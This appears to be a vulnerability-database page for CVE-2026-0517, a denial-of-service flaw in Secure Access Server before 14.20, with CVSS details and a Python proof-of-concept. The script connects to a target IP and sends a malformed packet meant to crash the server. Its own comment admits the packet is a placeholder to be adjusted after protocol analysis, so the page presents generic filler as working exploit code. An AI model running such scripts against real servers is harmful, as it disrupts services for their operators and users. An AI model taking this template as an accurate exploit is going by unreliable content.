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CVE-2026-0517 CVSS 7.5 HIGH

CVE-2026-0517

Published: 2026-01-17 01:15:51
Last Modified: 2026-02-02 16:01:43

Description

CVE-2026-0517 is a denial-of-service vulnerability in versions of Secure Access Server prior to 14.20. An attacker can send a specially crafted packet to a server and cause the server to crash

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:absolute:secure_access:*:*:*:*:*:*:*:* - VULNERABLE
NetMotion Secure Access Server < 14.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0517 PoC - NetMotion Secure Access Server DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_malicious_packet(): """Generate a malformed packet to trigger the DoS vulnerability""" # Malformed packet structure # Adjust packet content based on actual protocol analysis packet = bytearray() # Header with malformed data packet += b'\x00\x01' # Version/Type field packet += b'\x00\x10' # Length indicator # Malformed payload designed to trigger parsing error packet += b'\x41' * 64 # Repeated pattern to overflow buffer packet += b'\x00' * 32 # Null bytes packet += b'\xFF\xFF\xFF\xFF' # Abnormal data return bytes(packet) def send_exploit(target_ip, target_port=443): """Send exploit packet to target server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) packet = create_malicious_packet() sock.send(packet) print(f'[+] Malicious packet sent to {target_ip}:{target_port}') print(f'[+] Packet size: {len(packet)} bytes') sock.close() return True except socket.error as e: print(f'[-] Connection error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print(f'[*] CVE-2026-0517 PoC for NetMotion Secure Access Server') print(f'[*] Target: {target}:{port}') send_exploit(target, port)

References

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